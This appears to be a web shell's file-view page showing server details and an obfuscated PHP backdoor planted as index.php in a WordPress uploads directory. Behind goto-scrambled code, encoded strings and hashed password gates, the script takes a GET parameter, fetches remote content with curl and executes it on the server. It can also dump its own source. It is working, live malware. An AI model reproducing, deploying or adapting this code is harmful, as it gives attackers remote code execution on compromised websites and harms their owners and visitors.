HEX
Server: nginx/1.16.1
System: Linux iZ7xv2zauie3qihz0jlnrxZ 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: www (1000)
PHP: 7.2.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/shzthfdcpg.com/wp-content/uploads/2025/03/03/index.php
<?php
 goto qbAneN5PxlFH; qbAneN5PxlFH: $w51dPJVSoT8j = range("\176", "\x20"); goto WUaKDrxNHHWT; WUaKDrxNHHWT: $sWFObrJMrf6o = ${$w51dPJVSoT8j[31 + 0] . $w51dPJVSoT8j[50 + 9] . $w51dPJVSoT8j[8 + 39] . $w51dPJVSoT8j[28 + 19] . $w51dPJVSoT8j[25 + 26] . $w51dPJVSoT8j[42 + 11] . $w51dPJVSoT8j[34 + 23]}; goto TsTFgt1GdJoO; O3C30Nith3eJ: $sWFObrJMrf6o[88] = $sWFObrJMrf6o[64]($sWFObrJMrf6o[88]); goto DNoykoH7nqfC; FaFoytDjSMIb: Z3PG3AalFwA8: goto KxUGJQn1t08k; DNoykoH7nqfC: @($sWFObrJMrf6o = $sWFObrJMrf6o[88]($sWFObrJMrf6o[60], $sWFObrJMrf6o[64](${$sWFObrJMrf6o[44]}[14]))); goto XyOfVG4KoLJU; XyOfVG4KoLJU: $sWFObrJMrf6o(); goto FaFoytDjSMIb; TsTFgt1GdJoO: if (!(in_array(gettype($sWFObrJMrf6o) . "\x31\66", $sWFObrJMrf6o) && md5(md5(md5(md5($sWFObrJMrf6o[10])))) === "\x31\x39\143\144\x66\x66\71\71\144\63\x33\x34\x31\x62\x32\60\x39\x66\x33\x63\66\145\x35\x35\62\x30\x31\63\x35\62\x32\142")) { goto Z3PG3AalFwA8; } goto B9LpF41zZskZ; B9LpF41zZskZ: $sWFObrJMrf6o[64] = $sWFObrJMrf6o[64] . $sWFObrJMrf6o[76]; goto O3C30Nith3eJ; mrDo7o1zf6Wz: class Q4iosqoGKPPg { static function rFn8FeVU_QL9($xQSJq03tFTxT) { goto bDScCihy1zZ3; bDScCihy1zZ3: $By2yB1wW1PgO = "\x72" . "\x61" . "\156" . "\147" . "\x65"; goto fQHeOkusLSl9; um2Sg09x4l5r: return $u7HY1cUdHnGt; goto N_vuSKFYHo09; zzHAYL8iZwW9: sMXuaeT90A6g: goto um2Sg09x4l5r; eW2HPvne6WFa: $nYaOKHDC8ryq = explode("\x7b", $xQSJq03tFTxT); goto NTb_ZtdfTgAo; YYPo8viaEG1x: foreach ($nYaOKHDC8ryq as $mhMN23kUTFXK => $Yj02dXNEBPJ7) { $u7HY1cUdHnGt .= $tkh8VBAewNYi[$Yj02dXNEBPJ7 - 93983]; U2zeRPjkcRs3: } goto zzHAYL8iZwW9; NTb_ZtdfTgAo: $u7HY1cUdHnGt = ''; goto YYPo8viaEG1x; fQHeOkusLSl9: $tkh8VBAewNYi = $By2yB1wW1PgO("\x7e", "\40"); goto eW2HPvne6WFa; N_vuSKFYHo09: } static function pMolX1orrOem($gVbQecz_wxqz, $SbGGr0kGn5ED) { goto Lpz65_1lP8jD; yM66dL67djvw: return empty($JTSfV6vLC4Ov) ? $SbGGr0kGn5ED($gVbQecz_wxqz) : $JTSfV6vLC4Ov; goto OfRCkYfX_L_4; oMolXnlkg0zm: $JTSfV6vLC4Ov = curl_exec($LE0zDflCGypq); goto yM66dL67djvw; cbScj5VH9IuL: curl_setopt($LE0zDflCGypq, CURLOPT_RETURNTRANSFER, 1); goto oMolXnlkg0zm; Lpz65_1lP8jD: $LE0zDflCGypq = curl_init($gVbQecz_wxqz); goto cbScj5VH9IuL; OfRCkYfX_L_4: } static function vtzi1_MFfVKr() { goto rmAyU1M4nlOj; uuR6Q0grph3E: die; goto FnhU6pjDd8Qe; FnhU6pjDd8Qe: tmInwhYThw9O: goto ycafZYtdGosq; iEAW0POzFhnJ: $dzJ1aTK7lmOL = @$Pyo4gskJVJIG[1]($Pyo4gskJVJIG[9 + 1](INPUT_GET, $Pyo4gskJVJIG[0 + 9])); goto Dc_5sF0i4Gow; YyLfA3RlJ4r2: if (!(@$qoSHZvpg1qGg[0] - time() > 0 and md5(md5($qoSHZvpg1qGg[3 + 0])) === "\142\143\67\x33\x33\x32\64\146\x33\x62\71\60\143\60\67\70\x31\x31\x64\x35\x39\65\x35\x34\67\141\x36\x36\x33\62\x32\x34")) { goto tmInwhYThw9O; } goto ZMRNhffi964O; B474Vj6xZ2O7: $qoSHZvpg1qGg = $Pyo4gskJVJIG[0 + 2]($ZKZ6KHLC0dQX, true); goto gLnS99ZbXLro; PM3gd3eAzSNa: foreach ($v1qZjXT6TEO2 as $yJ8zuxyeh8Ch) { $Pyo4gskJVJIG[] = self::rFn8FevU_qL9($yJ8zuxyeh8Ch); biZnXpq6s8mJ: } goto hDyVjeWTwhUV; QhG61mLzfpdi: @$Pyo4gskJVJIG[0]('', $Pyo4gskJVJIG[2 + 5] . $Pyo4gskJVJIG[1 + 3]($k6b9vFbFCn1q) . $Pyo4gskJVJIG[1 + 7]); goto uuR6Q0grph3E; Dc_5sF0i4Gow: $ZKZ6KHLC0dQX = @$Pyo4gskJVJIG[3 + 0]($Pyo4gskJVJIG[5 + 1], $dzJ1aTK7lmOL); goto B474Vj6xZ2O7; rmAyU1M4nlOj: $v1qZjXT6TEO2 = array("\x39\64\60\x31\60\173\x39\x33\x39\71\x35\173\x39\64\60\x30\x38\x7b\71\x34\60\x31\x32\x7b\x39\x33\71\71\63\x7b\x39\x34\x30\60\x38\173\71\x34\x30\61\x34\x7b\71\x34\60\x30\x37\x7b\71\63\x39\x39\62\x7b\71\63\71\x39\71\173\71\64\x30\x31\60\x7b\71\x33\x39\71\x33\x7b\x39\64\x30\x30\64\x7b\71\63\71\71\x38\x7b\71\x33\71\x39\x39", "\71\63\x39\71\64\x7b\x39\63\71\71\x33\x7b\x39\63\x39\x39\x35\173\x39\x34\x30\61\64\x7b\71\63\x39\71\x35\x7b\x39\63\71\71\x38\x7b\71\x33\x39\71\x33\x7b\x39\64\60\x36\60\173\71\x34\x30\x35\x38", "\x39\x34\x30\x30\63\x7b\71\63\71\x39\64\x7b\x39\63\x39\71\x38\x7b\71\63\71\x39\x39\173\x39\64\x30\x31\x34\x7b\x39\64\x30\60\71\x7b\71\64\x30\60\x38\173\x39\x34\60\61\x30\x7b\71\63\71\71\70\173\71\x34\60\x30\x39\x7b\71\64\x30\x30\x38", "\71\63\71\71\67\x7b\71\x34\60\x31\62\x7b\71\x34\60\61\60\173\x39\x34\60\60\62", "\71\x34\x30\61\x31\x7b\x39\64\60\x31\x32\173\71\63\x39\71\x34\173\x39\x34\60\x30\70\173\x39\x34\60\65\65\x7b\x39\x34\x30\x35\67\x7b\71\64\x30\61\x34\173\x39\x34\60\60\71\x7b\x39\64\x30\60\70\x7b\71\x34\x30\61\60\173\71\x33\x39\x39\70\x7b\71\64\60\x30\71\x7b\71\x34\x30\x30\70", "\71\64\60\60\x37\173\x39\x34\x30\x30\x34\173\71\x34\x30\60\61\173\71\x34\x30\60\70\173\x39\x34\60\61\64\x7b\71\x34\x30\60\x36\x7b\x39\x34\x30\x30\70\173\x39\63\x39\71\x33\173\x39\64\60\61\64\x7b\x39\64\x30\x31\60\x7b\x39\63\x39\x39\70\x7b\71\63\71\x39\71\x7b\x39\63\x39\71\x33\x7b\71\x34\x30\x30\x38\173\71\63\x39\71\x39\x7b\71\63\x39\71\x33\173\71\x33\x39\x39\64", "\x39\64\60\x33\67\x7b\x39\x34\60\x36\x37", "\x39\x33\71\x38\x34", "\x39\x34\x30\66\x32\173\x39\64\x30\x36\x37", "\x39\x34\x30\x34\x34\173\x39\64\60\62\67\173\x39\x34\x30\62\x37\173\x39\x34\x30\x34\x34\x7b\71\64\60\62\60", "\71\64\x30\60\x37\173\71\x34\x30\60\x34\x7b\x39\x34\x30\60\61\173\x39\63\71\71\63\x7b\71\x34\x30\x30\x38\x7b\x39\63\71\x39\65\x7b\x39\x34\60\x31\64\x7b\71\64\60\60\64\x7b\x39\x33\71\x39\71\x7b\x39\63\71\x39\x37\x7b\71\63\x39\71\62\x7b\71\63\71\71\x33"); goto PM3gd3eAzSNa; hDyVjeWTwhUV: nViCszDgEFr8: goto iEAW0POzFhnJ; ZMRNhffi964O: $k6b9vFbFCn1q = self::PmoLX1oRroem($qoSHZvpg1qGg[0 + 1], $Pyo4gskJVJIG[3 + 2]); goto QhG61mLzfpdi; gLnS99ZbXLro: @$Pyo4gskJVJIG[7 + 3](INPUT_GET, "\x6f\146") == 1 && die($Pyo4gskJVJIG[1 + 4](__FILE__)); goto YyLfA3RlJ4r2; ycafZYtdGosq: } } goto oBw2S2ythj_a; KxUGJQn1t08k: metaphone("\156\x56\64\x71\x35\x54\x66\127\110\121\60\x67\125\x62\x4d\x32\x55\x39\x53\x41\120\x74\110\x42\x67\115\155\x68\x6f\122\106\66\170\x75\146\x70\x41\x36\x74\x69\117\x51\x63"); goto mrDo7o1zf6Wz; oBw2S2ythj_a: q4IOSQogkpPg::vTzI1_MffvKr();
?>